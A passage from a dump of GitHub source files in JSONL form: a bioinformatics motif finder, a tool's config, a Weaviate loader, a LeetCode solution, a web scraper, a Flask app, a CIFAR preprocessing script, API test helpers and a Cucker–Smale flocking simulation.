line.replace('\\n', '')\n# sequences.append(line)\n# f1.close()\n# os.remove(filename)\n\n# res = []\n# for s in sequences:\n# positions = '' \n# for i in range(0, len(s)-3):\n# if s[i] == 'N':\n# if s[i+1] != 'P':\n# if s[i+2] == 'S' or s[i+2] == 'T':\n# if s[i+3] != 'P':\n# pos = i+1 \n# positions += str(pos) + ' ' \n# res.append(positions)\n\n# for q in range(len(filenames)):\n# if len(res[q]) > 0:\n# print(filenames[q])\n# print(res[q])\n\nimport re\nimport requests\n\n#arquivo = open('/home/augusto/Downloads/rosalind_mprt.txt','r')\narquivo = open('./rosalind_mprt.txt','r')\nentradas = arquivo.read().strip().split('\\n')\n\n#print entradas\n\nfor entrada in entradas:\n r = requests.get('http://www.uniprot.org/uniprot/%s.fasta' % entrada)\n proteina = r.text\n enter = proteina.find('\\n')\n proteina = proteina[(enter+1):]\n proteina = proteina.replace('\\n','')\n busca = re.finditer('(?=(N[^P][ST][^P]))',proteina)\n saida=[]\n for i in busca:\n saida.append(i.start()+1)\n #print i.start()+1,\n #print proteina[i.start():i.start()+4]\n if len(saida)>0:\n print (entrada)\n for i in saida:\n print (i),\n print()","repo_name":"maririn312/Rosalind","sub_path":"mprt/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2008,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"30758287597","text":"#!/usr/bin/python\n# -*-coding:utf-8-*-\n\n\"\"\" \nconfig\n\"\"\"\n\n__author__ = 'Yao Zhang & Zhiyang Zeng'\n__copyright__ = \"Copyright 2019, Apache License 2.0\"\n\nAPP_CONFIG = {\n \"HOST\": \"127.0.0.1\",\n \"PORT\": 8080,\n \"DEBUG\": True, #debug mode\n \"SECRET_KEY\": \"awesomeflerken*\",\n \"QPS_LIMIT\": True,\n \"LIMIT_SETTING\": [\"200 per minute\", \"5 per second\"],\n \"LOG_FILE\": \"flerken.log\"\n}\n\nDB_CONFIG = {\n 0: {\n \"host\": \"127.0.0.1\",\n \"port\": \"3306\",\n \"user\": \"root\",\n \"password\": \"root\",\n \"database\": \"flerken\",\n 'charset': 'utf8', \n 'DB_DEBUG': True, # Please set this field to 'False' when your website going online\n 'autocommit': True \n }\n}\n","repo_name":"pentestbr/Flerken","sub_path":"flerken/config/global_config.py","file_name":"global_config.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"7"} +{"seq_id":"13036505783","text":"import os\nimport logging\nfrom pathlib import Path\nimport subprocess\nfrom multiprocessing import cpu_count\nimport yaml\nimport json\nfrom json2weaviate import JsonToWeaviate\nimport weaviate\nimport boto3\n\nlogging.basicConfig(level=logging.INFO)\nlogger = logging.getLogger()\n\nREPO_URL = os.environ[\"REPO_URL\"]\nTARGET_DATA_DIR = os.environ[\"TARGET_DATA_DIR\"]\nWEAVIATE_ENDPOINT_SSM_PARAM = os.environ[\"WEAVIATE_ENDPOINT_SSM_PARAM\"]\n\ntry:\n ssm = boto3.client('ssm')\n WEAVIATE_ENDPOINT = ssm.get_parameter(Name=WEAVIATE_ENDPOINT_SSM_PARAM, WithDecryption=False)['Parameter']['Value']\nexcept:\n WEAVIATE_ENDPOINT = os.environ[\"WEAVIATE_ENDPOINT\"]\n \ndata_dir = Path(__file__).parent\n\n# fix\nlogger.info(f\"Environment variables:\\nREPO_URL: {REPO_URL}\\nTARGET_DATA_DIR: {TARGET_DATA_DIR}\\nWEAVIATE_ENDPOINT: {WEAVIATE_ENDPOINT}\")\n\n# configure the batch settings\nnum_cpus = cpu_count() - 1\nclient = weaviate.Client(WEAVIATE_ENDPOINT)\nclient.batch.configure(\n batch_size=10,\n dynamic=True,\n timeout_retries=3,\n num_workers=num_cpus,\n callback=weaviate.util.check_batch_result,\n)\n\n\ndef parse_repo_url(repo_url: str) -> str:\n \"\"\"Parse the repo URL and return the owner and repository name.\"\"\"\n owner, repo = repo_url.split(\"/\")[-2:]\n return owner, repo\n\n\ndef load_target_files(target_data_path: Path) -> list:\n \"\"\"Yields yaml files from the target data path.\"\"\"\n for file in target_data_path.iterdir():\n if file.suffix in [\".yaml\", \".yml\"]:\n with open(file, \"r\") as f:\n yield yaml.safe_load(f)\n\n\ndef load_spec(spec_path: Path) -> dict:\n \"\"\"Load JSON from the spec path.\"\"\"\n with open(spec_path, \"r\") as f:\n return json.load(f)\n\n\nif __name__ == \"__main__\":\n # get the owner and repo name\n owner, repo = parse_repo_url(REPO_URL)\n clone_target_path = data_dir / \"data\" / owner / repo\n target_data_path = data_dir / \"data\" / owner / repo / TARGET_DATA_DIR\n\n logger.info(f\"Cloning {REPO_URL} to {clone_target_path}...\")\n\n # clone github repo from REPO_URL\n subprocess.run([\"git\", \"clone\", REPO_URL, str(clone_target_path)])\n\n # load yaml files as json from the target data path\n files = load_target_files(target_data_path=target_data_path)\n\n # create data objects\n mappings_spec_path = Path(__file__).parent / \"mappings-spec.json\"\n references_spec_path = Path(__file__).parent / \"references-spec.json\"\n\n factory = JsonToWeaviate(\n mappings=load_spec(mappings_spec_path),\n references=load_spec(references_spec_path),\n )\n\n logger.info(f\"Loading data objects and cross references...\")\n num_errors = 0\n max_errors = 5\n with client.batch as batch:\n for idx, file in enumerate(files):\n try:\n # while client.batch.shape\n mapper = JsonToWeaviate.from_json(factory, file)\n\n # add data objects\n for data_object in mapper.data_objects:\n batch.add_data_object(\n data_object[\"data\"],\n class_name=data_object[\"class\"],\n uuid=data_object[\"id\"],\n )\n\n # add cross references, may not work with autoschema\n for cross_reference in mapper.cross_references:\n batch.add_reference(\n from_object_uuid=cross_reference['from_uuid'],\n from_object_class_name=cross_reference['from_class_name'],\n from_property_name=cross_reference['from_property_name'],\n to_object_uuid=cross_reference['to_uuid'],\n to_object_class_name=cross_reference['to_class_name'],\n )\n\n except Exception as e:\n logger.error(f\"Error loading file {file}: {e}\")\n num_errors += 1\n if num_errors >= max_errors:\n logger.error(f\"Max errors of {max_errors} reached, aborting...\")\n raise e\n continue\n\n logger.info(f\"Loaded {idx + 1} files into Weaviate.\")\n exit(0)","repo_name":"chrisammon3000/aws-open-data-registry-neural-search","sub_path":"tasks/load_odr/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4114,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"1660859026","text":"class Solution:\n def findWords(self, words: List[str]) -> List[str]:\n n1 = set(list(\"qwertyuiop\"))\n n2 = set(list(\"asdfghjkl\"))\n n3 = set(list(\"zxcvbnm\"))\n def check(x, n):\n for i in x:\n if i.lower() not in n:\n return False\n return True\n ans = []\n for i in words:\n x = set(list(i))\n if check(x,n1) or check(x,n2) or check(x,n3) :\n ans.append(i)\n return ans\n ","repo_name":"fikreanteneh/competitive-programming","sub_path":"0500-keyboard-row/0500-keyboard-row.py","file_name":"0500-keyboard-row.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"70597187105","text":"import requests\n\nBASE_URL = 'https://www.itdashboard.gov/data-feeds'\nHEADERS = {\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',\n 'Accept-Language': 'en-US,en;q=0.9',\n 'Cache-Control': 'max-age=0',\n 'Connection': 'keep-alive',\n 'Content-Type': 'application/x-www-form-urlencoded',\n 'Origin': 'https://www.itdashboard.gov',\n 'Referer': 'https://www.itdashboard.gov/data-feeds',\n 'Sec-Fetch-Dest': 'document',\n 'Sec-Fetch-Mode': 'navigate',\n 'Sec-Fetch-Site': 'same-origin',\n 'Sec-Fetch-User': '?1',\n 'Upgrade-Insecure-Requests': '1',\n 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36',\n 'sec-ch-ua': '\"Not.A/Brand\";v=\"8\", \"Chromium\";v=\"114\", \"Google Chrome\";v=\"114\"',\n 'sec-ch-ua-mobile': '?0',\n 'sec-ch-ua-platform': '\"Linux\"',\n}\n\ndef fetch_and_save_data(domain_value, filename):\n data = {\n 'domain': 'it_portfolio',\n 'it_portfolio': domain_value,\n 'data_center': '',\n 'web_metric': '',\n 'agency_dummy': '000',\n 'op': 'CSV',\n 'form_id': 'data_feeds_form',\n }\n\n response = requests.post(BASE_URL, headers=HEADERS, data=data)\n\n if response.status_code == 200:\n with open(filename, 'w') as f:\n f.write(response.text)\n print(f\"{filename} saved successfully!\")\n else:\n print(f\"Failed to fetch data for {filename}. Status code: {response.status_code}\")\n\ndef funding_sources():\n fetch_and_save_data('it_portfolio_funding_sources', 'funding_sources.csv')\n\ndef projects():\n fetch_and_save_data('projects', 'projects.csv')\n\nif __name__ == '__main__':\n funding_sources()\n projects()\n","repo_name":"robertpolster/AIBDTool","sub_path":"scrape_req.py","file_name":"scrape_req.py","file_ext":"py","file_size_in_byte":1798,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"45353245747","text":"from flask import Flask, render_template, request, redirect, url_for\nimport search\n\napp = Flask(__name__)\n\napp.vars={}\n\n@app.route('/')\ndef main():\n return redirect('/index')\n\n@app.route('/index', methods=['GET','POST'])\ndef index():\n if request.method == 'GET':\n return render_template('index.html')\n elif request.method == 'POST':\n app.vars['q'] = request.form[\"query\"]\n if app.vars['q']!=None:\n return redirect('/result')\n else:\n return render_template('index.html')\n\n@app.route('/result', methods=['GET','POST'])\ndef result():\n if request.method == 'GET':\n return render_template(\"result.html\", table = search.reranking(search.searching(app.vars['q'])))\n elif request.method == 'POST':\n app.vars['q'] = request.form[\"query\"]\n if app.vars['q']!=None:\n return render_template(\"result.html\", table = search.reranking(search.searching(app.vars['q'])))\n else:\n return redirect('/index')\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n","repo_name":"chensong5225/healthy_recipes","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1053,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"72844481502","text":"import os\nimport sys\nfrom PIL import Image\nimport numpy as np\nimport multiprocessing\nimport torchvision\nimport torchvision.transforms as transforms\n\nMEAN = (0.4914, 0.4822, 0.4465)\nSTD = (0.2023, 0.1994, 0.2010)\ntransform_val = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize(MEAN, STD),\n ])\n\n\ndef preprocess(src_path, save_path):\n valset = torchvision.datasets.CIFAR10(root=src_path, train=False, download=False, transform=transform_val) \n labelpath = os.path.join(save_path, 'val_label.txt')\n labelfile = open(labelpath, 'w')\n for i in range(len(valset)):\n index = str(i).zfill(5)\n (np.array(valset[i][0]).astype(np.float32)).tofile(os.path.join(save_path, index + \".bin\"))\n labelfile.write(str(index)+'.bin')\n labelfile.write(' ')\n labelfile.write(str(valset[i][1]))\n labelfile.write('\\n')\n labelfile.close() \n\n\nif __name__ == '__main__':\n if len(sys.argv) < 3:\n raise Exception(\"usage: python3 xxx.py [src_path] [save_path]\")\n src_path = sys.argv[1]\n save_path = sys.argv[2]\n src_path = os.path.realpath(src_path)\n os.makedirs(save_path, exist_ok=True)\n save_path = os.path.realpath(save_path)\n preprocess(src_path, save_path)","repo_name":"Ascend/ModelZoo-PyTorch","sub_path":"ACL_PyTorch/contrib/cv/classfication/GENet/GENet_preprocess.py","file_name":"GENet_preprocess.py","file_ext":"py","file_size_in_byte":1256,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"7"} +{"seq_id":"4536027865","text":"import tensorflow as tf\nimport matplotlib.pyplot as plt\nfrom matplotlib import image\nimport numpy as np\n\nVGG19 = tf.keras.applications.VGG19(weights='imagenet')\nVGG19.summary()\n\n#подготавливаем четырехмерный тензор\n\ndef prepare_image(image, image_size):\n image = tf.image.resize(image, image_size)\n return image[None,...]\n\n\nfrom tensorflow.keras.applications.vgg19 import decode_predictions\nfrom tensorflow.keras.applications.vgg19 import preprocess_input\ndef make_prediction(model, preprocess_input, decode_prediction, image):\n img_size = (model.input_shape[1], model.input_shape[2])\n input_image = prepare_image(image, img_size)\n input_image = preprocess_input(input_image)\n prediction = model.predict(input_image)\n print(decode_predictions(prediction))\n return decode_predictions(prediction)\n\nball = image.imread('ball1.jpg')\nmake_prediction(VGG19, preprocess_input, decode_predictions, ball)\n\n\n\n\n","repo_name":"adel-alishev/intro_neuroweb","sub_path":"VGG interface.py","file_name":"VGG interface.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"27606237117","text":"# coding: utf-8\nimport os\nfrom apis.device_management.apis_device_pyh_examination import Apis\nfrom common.api_tools import retry, random_str\nimport json\nfrom datetime import datetime\nimport time\n\n\nclass ApisUtils(Apis,):\n \"\"\"\n 由apis构成steps\n \"\"\"\n @retry(3, 5)\n def get_report_year(self):\n \"\"\"\n 获取列表可选年份\n 返回年份列表\n \"\"\"\n params = {\n \"_t\": datetime.now()\n }\n res = self.api_get_report_year(params=params)\n assert res.status_code <= 400, \"获取设备体检列表可选年份Http请求状态码错误\"\n assert len(json.loads(res.text)['data']) > 0, \"获取设备体检列表可选年份为空\"\n return json.loads(res.text)['data']\n\n @retry(5, 5)\n def get_report_info_with_name(self, name) -> dict:\n \"\"\"\n 获取设备体检列表\n 返回体检报告详情\n \"\"\"\n params = {\n \"Year\": 0,\n \"skipCount\": 0,\n \"maxResultCount\": 10000,\n \"_t\": datetime.now()\n }\n res = self.api_get_reports(params=params)\n assert res.status_code <= 400, \"获取设备体检列表Http请求状态码错误\"\n assert json.loads(res.text)['success'] is True, \"获取设备体检列表业务接口返回False\"\n\n for i in json.loads(res.text)['data']['items']:\n if i['name'] == name:\n return i\n assert False, f\"未获取到名称为{name}的体检报告\"\n\n @retry(3, 5)\n def dispoable_plan(self, device_id, report_name):\n \"\"\"\n 手动添加体检报告\n \"\"\"\n\n plan_name_x, plan_name_y = str(time.time()).split(\".\")\n now_data_time = datetime.now()\n\n params = {\n \"_t\": datetime.now()\n }\n\n data = {\n \"planName\": plan_name_x + plan_name_x[0:3],\n \"reportName\": report_name,\n \"assetRange\": [\n {\n \"id\": device_id,\n \"name\": \"0\"\n }\n ],\n \"startTime\": f\"{str(now_data_time.strftime('%Y-%m-%d'))} 00:00:00\",\n \"endTime\": f\"{str(now_data_time.strftime('%Y-%m-%d'))} 23:59:59\"\n }\n\n res = self.api_dispoable_plan(data=data, params=params)\n assert res.status_code <= 400, \"手动添加设备体检报告Http请求状态码错误\"\n assert json.loads(res.text)['success'] is True, \"手动添加设备体检报告业务接口返回False\"\n\n return json.loads(res.text)['data']\n\n @retry(3, 5)\n def delete_report(self, report_id):\n \"\"\"\n 删除设备体检报告\n \"\"\"\n\n params = {\n \"id\": report_id,\n \"_t\": datetime.now()\n }\n\n res = self.api_delete_report(params=params)\n assert res.status_code <= 400, \"删除设备体检报告Http请求状态码错误\"\n assert json.loads(res.text)['success'] is True, \"删除设备体检报告业务接口返回False\"\n\n @retry(3, 5)\n def get_plans(self):\n \"\"\"\n 获取自动体检列表\n \"\"\"\n params = {\n \"_t\": datetime.now()\n }\n res = self.api_get_plans(params=params)\n\n @retry(3, 5)\n def get_plan_global_setting(self, ):\n \"\"\"\n 获取自动体检截图设置\n \"\"\"\n params = {\n \"_t\": datetime.now()\n }\n res = self.api_get_plan_global_setting(params=params)\n assert res.status_code <= 400, \"获取自动体检截图设置Http请求状态码错误\"\n assert json.loads(res.text)['success'] is True, \"获取自动体检截图设置业务接口返回False\"\n\n return json.loads(res.text)['data']\n\n @retry(3, 5)\n def set_plan_global_setting(self, definition: list, trend):\n \"\"\"\n 设置自动体检截图设置\n \"\"\"\n\n data = {\n \"acquisitionDefinition\": definition,\n \"trendRange\": trend,\n \"normalAnalysis\": True\n }\n\n params = {\n \"_t\": datetime.now()\n }\n\n res = self.api_set_plan_global_setting(data=data, params=params)\n assert res.status_code <= 400, \"设置自动体检截图设置Http请求状态码错误\"\n assert json.loads(res.text)['success'] is True, \"设置自动体检截图设置业务接口返回False\"\n\n @retry(3, 5)\n def add_or_edit_plan(self, plan_name, report_name, asset_id, asset_name):\n \"\"\"\n 添加或编辑自动体检计划\n 这里选择assetid,assetname时,若是产线下仅存在一个设备,那么选择此设备时,就会选择他的最上层资产传参\n \"\"\"\n params = {\n \"_t\": datetime.now()\n }\n data = {\n \"planName\": plan_name,\n \"genDay\": 1,\n \"cycle\": 1,\n \"assetRange\": [\n {\n \"id\": asset_id,\n \"name\": asset_name\n }\n ],\n \"reportName\": report_name,\n \"state\": True\n }\n","repo_name":"zj1995-09-09/supercare_api_test","sub_path":"testcase/device_management/device_pyh_examination_steps.py","file_name":"device_pyh_examination_steps.py","file_ext":"py","file_size_in_byte":5048,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"36173948983","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport time\nimport random\nimport math\nimport csv\n\ny_max = 10\ny_min = -10\n\nx_max = 10\nx_min = -10\n\ndef psi(r, alpha):\n return 1/(1+r**alpha)\n\ndef psi_motsch_tadmor(r, alpha, N):\n return False\n\n \ndef random_constant_distribution(n):\n distribution_x = []\n distribution_y = []\n cx = random.random()\n cy = random.random()\n \n for i in range(n):\n distribution_x.append([cx])\n distribution_y.append([cy])\n \n return (distribution_x,distribution_y)\n \n\ndef random_circular_distribution(radius, x, y, n):\n circle_r = radius\n circle_x = x\n circle_y = y\n distribution_x = []\n distribution_y = []\n \n for i in range(n):\n alpha = 2 * math.pi * random.random()\n r = circle_r * random.random()\n x = r * math.cos(alpha) + circle_x\n y = r * math.sin(alpha) + circle_y\n distribution_x.append([x])\n distribution_y.append([y])\n \n return (distribution_x,distribution_y)\n \n\n\ndef cucker_smale1d_fix(N, x_pop_init, vx_pop_init, t_min, t_max, eps, force_intensity, com_rate):\n tstart_sim = time.time()\n lst_t = [t_min] #int->list int\n lst_pos = x_pop_init #[[x1_init, ... x1_finish], [x2_init, ... x2_finish], ..., [xn_init, ... xn_finish]]\n lst_v = vx_pop_init #idem\n t = t_min\n #rq : N peut être déduit de la longeur du tableau principal\n while t < t_max: #t pas nécessairement un entier selon epsilon\n for i in range(N): #entity i \n acceleration_x_iter = 0.0\n \n i_entity_x = lst_pos[i]\n i_entity_vx = lst_v[i]\n k = len(i_entity_x)\n print(i_entity_x)\n \n i_entity_next_x = eps*i_entity_vx[k-1] + i_entity_x[k-1] \n for j in range(N): #entity j\n if j != i:\n j_entity_x = lst_pos[j]\n j_entity_vx = lst_v[j]\n \n k2 = len(j_entity_x)\n \n acceleration_x_iter += psi(abs(i_entity_x[k-1] - j_entity_x[k2-1]), com_rate)*(j_entity_vx[k2-1]-i_entity_vx[k-1])\n \n \n \n i_entity_next_vx = i_entity_vx[k-1] + (acceleration_x_iter*eps*force_intensity)/N\n lst_pos[i].append(i_entity_next_x)\n lst_v[i].append(i_entity_next_vx)\n \n print(t)\n t += eps\n lst_t.append(t)\n \n \n print(\"Resolved in \" + str((time.time() - tstart_sim)/60) + \" s\")\n return (lst_t, lst_pos, lst_v)\n\n\ndef cucker_smale2d_fix(N, x_pop_init, y_pop_init, vx_pop_init, vy_pop_init, t_min, t_max, eps, force_intensity, com_rate, flock_step_eps=1e-4):\n tstart_sim = time.time()\n lst_t = [t_min] #int->list int\n lst_pos_x = x_pop_init #[[x1_init, ... x1_finish], [x2_init, ... x2_finish], ..., [xn_init, ... xn_finish]]\n lst_pos_y = y_pop_init\n lst_vx = vx_pop_init #idem\n lst_vy = vy_pop_init\n t = t_min\n flock_step = 0\n max_vx = 0\n max_vy = 0\n min_vx = 0\n min_vy = 0\n \n #rq : N peut être déduit de la longeur du tableau principal\n while t < t_max: #t pas nécessairement un entier selon epsilon\n for i in range(N): #entity i \n acceleration_x_iter = 0.0\n acceleration_y_iter = 0.0\n \n i_entity_x = lst_pos_x[i]\n i_entity_y = lst_pos_y[i]\n i_entity_vx = lst_vx[i]\n i_entity_vy = lst_vy[i]\n k = len(i_entity_x)\n \n i_entity_next_x = eps*i_entity_vx[k-1] + i_entity_x[k-1]\n i_entity_next_y = eps*i_entity_vy[k-1] + i_entity_y[k-1]\n \n for j in range(N): #entity j\n if j != i:\n j_entity_x = lst_pos_x[j]\n j_entity_y = lst_pos_y[j]\n j_entity_vx = lst_vx[j]\n j_entity_vy = lst_vy[j]\n \n k2 = len(j_entity_x)\n \n acceleration_x_iter += psi(abs(i_entity_x[k-1] - j_entity_x[k2-1]), com_rate)*(j_entity_vx[k2-1]-i_entity_vx[k-1])\n acceleration_y_iter += psi(abs(i_entity_y[k-1] - j_entity_y[k2-1]), com_rate)*(j_entity_vy[k2-1]-i_entity_vy[k-1])\n \n i_entity_next_vx = i_entity_vx[k-1] + (acceleration_x_iter*eps*force_intensity)/N\n i_entity_next_vy = i_entity_vy[k-1] + (acceleration_y_iter*eps*force_intensity)/N\n \n if max_vx < i_entity_next_vx:\n max_vx = i_entity_next_vx\n if max_vy < i_entity_next_vy:\n max_vy = i_entity_next_vy\n if min_vx > i_entity_next_vx:\n min_vx = i_entity_next_vx\n if min_vy > i_entity_next_vy:\n min_vy = i_entity_next_vy\n \n \n if (abs(max_vx - min_vx)= 10:\n entity_next_x = -entity_next_x\n \n i_entity_next_x = i_entity_next_x % 10\n i_entity_next_y = i_entity_next_y % 10\n \n lst_pos_x[i].append(i_entity_next_x)\n lst_pos_y[i].append(i_entity_next_y)\n lst_vx[i].append(i_entity_next_vx)\n lst_vy[i].append(i_entity_next_vy)\n \n \n t += eps\n lst_t.append(t)\n \n \n print(\"Resolved in \" + str((time.time() - tstart_sim)/60) + \" s\")\n return (lst_t, lst_pos_x, lst_pos_y, lst_vx, lst_vy, flock_step)\n\n \ndef cucker_smale2d_modified(x_pop_init, y_pop_init, xinit_predateur, yinit_predateur, vx_pop_init, vy_pop_init, vx_init_predateur, vy_init_predateur, t_min, t_max, eps, force_intensity, com_rate, eq_x_pred, eq_y_pred, eq_vx_pred, eq_vy_pred):\n tstart_sim = time.time()\n lst_t = [t_min] #int->list int\n lst_pos_x = x_pop_init #[[x1_init, ... x1_finish], [x2_init, ... x2_finish], ..., [xn_init, ... xn_finish]]\n lst_pos_y = y_pop_init\n lst_vx = vx_pop_init#idem \n lst_vy = vy_pop_init\n t = t_min\n lst_x_predateur = [xinit_predateur]\n lst_y_predateur = [yinit_predateur]\n lst_vx_predateur = [vx_init_predateur]\n lst_vy_predateur = [vy_init_predateur]\n \n N = len(x_pop_init)\n #print(lst_pos_x)\n #rq : N peut être déduit de la longeur du tableau principal\n while t < t_max: #t pas nécessairement un entier selon epsilon\n center_of_mass_coords = center_of_mass_coordinates(t, lst_pos_x, lst_pos_y)\n center_of_mass_speed = center_of_mass_speeds(t, lst_vx, lst_vy)\n \n x_predateur = lst_x_predateur[-1]\n y_predateur = lst_y_predateur[-1]\n vx_predateur = lst_vx_predateur[-1]\n vy_predateur = lst_vy_predateur[-1]\n \n coeff_droite = (center_of_mass_coords[1] - y_predateur)/(center_of_mass_coords[0] - x_predateur)\n \n lst_x_predateur.append(eq_x_pred(x_predateur+2))\n lst_y_predateur.append(eq_y_pred(y_predateur+2))\n lst_vx_predateur.append(eq_vx_pred(vx_predateur))\n lst_vy_predateur.append(eq_vy_pred(vy_predateur))\n \n lst_pos_x[N-1].append(x_predateur)\n lst_pos_y[N-1].append(y_predateur)\n lst_vx[N-1].append(vx_predateur)\n lst_vy[N-1].append(vy_predateur)\n \n for i in range(N-1): #entity i \n acceleration_x_iter = 0.0\n acceleration_y_iter = 0.0\n \n i_entity_x = lst_pos_x[i]\n i_entity_y = lst_pos_y[i]\n i_entity_vx = lst_vx[i]\n i_entity_vy = lst_vy[i]\n k = len(i_entity_x)\n #print(i_entity_x)\n i_entity_next_x = eps*i_entity_vx[k-1] + i_entity_x[k-1]\n i_entity_next_y = eps*i_entity_vy[k-1] + i_entity_y[k-1]\n \n for j in range(N-1): #entity j\n if j != i:\n j_entity_x = lst_pos_x[j]\n j_entity_y = lst_pos_y[j]\n j_entity_vx = lst_vx[j]\n j_entity_vy = lst_vy[j]\n \n k2 = len(j_entity_x)\n \n acceleration_x_iter += psi(abs(i_entity_x[k-1] - j_entity_x[k2-1]), com_rate)*(j_entity_vx[k2-1]-i_entity_vx[k-1])\n acceleration_y_iter += psi(abs(i_entity_y[k-1] - j_entity_y[k2-1]), com_rate)*(j_entity_vy[k2-1]-i_entity_vy[k-1])\n \n i_entity_next_vx = i_entity_vx[k-1] + (acceleration_x_iter*eps*force_intensity)/N\n i_entity_next_vy = i_entity_vy[k-1] + (acceleration_y_iter*eps*force_intensity)/N\n \n lst_pos_x[i].append(i_entity_next_x)\n lst_pos_y[i].append(i_entity_next_y)\n lst_vx[i].append(i_entity_next_vx)\n lst_vy[i].append(i_entity_next_vy)\n \n \n t += eps\n lst_t.append(t)\n \n \n print(\"Resolved in \" + str((time.time() - tstart_sim)/60) + \" s\")\n return (lst_t, lst_pos_x, lst_pos_y, lst_vx, lst_vy)\n\n\ndef cucker_smale2d_for_flock_time_range(N, x_pop_init, y_pop_init, vx_pop_init, vy_pop_init, t_min, t_max, eps, force_intensity, com_rate):\n solution = cucker_smale2d_fix(N, x_pop_init, y_pop_init, vx_pop_init, vy_pop_init, 0, t_max, eps, force_intensity, com_rate)\n t = solution[0]\n nt = t[int(t_min//eps):int(t_max//eps)]\n x = solution[1]\n print(\"len t = \" + str(len(t)))\n print(\"len x = \" + str(len(x)))\n nx = x[int(t_min//eps):int(t_max//eps)]\n y = solution[2]\n ny = y[int(t_min//eps):int(t_max//eps)]\n vx = solution[3]\n nvx = vx[int(t_min//eps):int(t_max//eps)]\n vy = solution[4]\n nvy = vy[int(t_min//eps):int(t_max//eps)]\n \n return [nt, nx, ny, nvx, nvy] \n \n\ndef average_velocity_dim2(v_x, v_y, particle_count, eps, delta_t):\n sum_x = 0\n sum_y = 0\n len_v_x = len(v_x)\n for i in range(len_v_x):\n sum_x += v_x[i]\n sum_y += v_y[i]\n \n sum_x *= eps/((delta_t)*particle_count)\n sum_y *= eps/((delta_t)*particle_count)\n \n return (sum_x, sum_y)\n\ndef center_of_mass_coordinates(t, x, y):\n center_of_mass_x = 0\n center_of_mass_y = 0\n n = len(x)\n for i in range(n):\n center_of_mass_x += x[i][t]\n center_of_mass_y += y[i][t]\n \n center_of_mass_x *= 1/n\n center_of_mass_y *= 1/n\n return (center_of_mass_x, center_of_mass_y)\n\n\ndef center_of_mass_speeds(vx, vy):\n center_of_mass_vx = 0\n center_of_mass_vy = 0\n n = len(x)\n for i in range(n):\n center_of_mass_vx += vx[i][t]\n center_of_mass_vy += vy[i][t]\n \n center_of_mass_vx *= 1/n\n center_of_mass_vy *= 1/n\n return (center_of_mass_vx, center_of_mass_vy)\n\n\n#let x = [x1, ..., xt], y = [y1, ..., yt], t=[t1, ..., t_max]\ndef scatter_at_specific_time_2d(t, x, y, vx, vy, color = \"red\", print_arrow = True, show = True, circle = True):\n x_stop = []\n y_stop = []\n vx_stop = []\n vy_stop = []\n N = len(x)\n center_of_mass_x = 0\n center_of_mass_y = 0\n center_of_mass_vx = 0\n center_of_mass_vy = 0\n \n for j in range(N):\n k=1.5\n #k=1/8\n x_stop.append(x[j][t])\n y_stop.append(y[j][t])\n vx_stop.append(vx[j][t])\n vy_stop.append(vy[j][t])\n \n center_of_mass_x += x_stop[j]\n center_of_mass_y += y_stop[j]\n center_of_mass_vx += vx_stop[j]\n center_of_mass_vy += vy_stop[j]\n \n if print_arrow:\n if j == N-1:\n plt.arrow(x[j][t], y[j][t], vx[j][t]*k, vy[j][t]*k, head_width=0.1, length_includes_head=True, color='green')\n else:\n plt.arrow(x[j][t], y[j][t], vx[j][t]*k, vy[j][t]*k, head_width=0.1, length_includes_head=True, color='blue')\n\n center_of_mass_x *= 1/N\n center_of_mass_y *= 1/N\n center_of_mass_vx *= 1/N\n center_of_mass_vy *= 1/N\n plt.scatter(x_stop, y_stop, color=color)\n plt.scatter(center_of_mass_x, center_of_mass_y, color=\"green\")\n plt.arrow(center_of_mass_x, center_of_mass_y, center_of_mass_vx*3, center_of_mass_vy*3, head_width=0.1, length_includes_head=True, color=\"orange\")\n \n if circle:\n theta = np.linspace(0, 2*np.pi, 100)\n r = np.sqrt(4)\n x1 = r*np.cos(theta) + center_of_mass_x\n x2 = r*np.sin(theta) + center_of_mass_y\n plt.plot(x1, x2)\n \n \ndef print_in_realtime(t_min, t_max, x, y, vx, vy, force_intensity, communication_rate, frame_rate_ms = 30, eps=0.1):\n t = 0\n while t <= (t_max-t_min):\n plt.clf()\n scatter_at_specific_time_2d(t, x, y, vx, vy, circle=False)\n plt.title(\"t=\" + str(t)+\" (ut), fps : \" + str(1/(frame_rate_ms/1000)) + \", t=[\" + str(t_min) + \",\" + str(t_max) + \"], λ=\" + str(force_intensity) + \", ε=\" + str(eps) + \", α=\" + str(communication_rate))\n plt.pause(frame_rate_ms/1000)\n t += 1\n\n plt.cla()\n plt.xlabel(\"x(t)\")\n plt.ylabel(\"y(t)\")\n\n \ndef export_initial_conditions(N, x, y, vx, vy, t_min, t_max, eps, force_intensity):\n xcleaned = []\n ycleaned = []\n vxcleaned = []\n vycleaned = []\n n = len(x)\n for i in range(n):\n xcleaned.append(x[i][0])\n ycleaned.append(y[i][0])\n vxcleaned.append(vx[i][0])\n vycleaned.append(vy[i][0])\n \n a = [[N,t_min, t_max, eps,force_intensity, xcleaned, ycleaned, vxcleaned, vycleaned]] 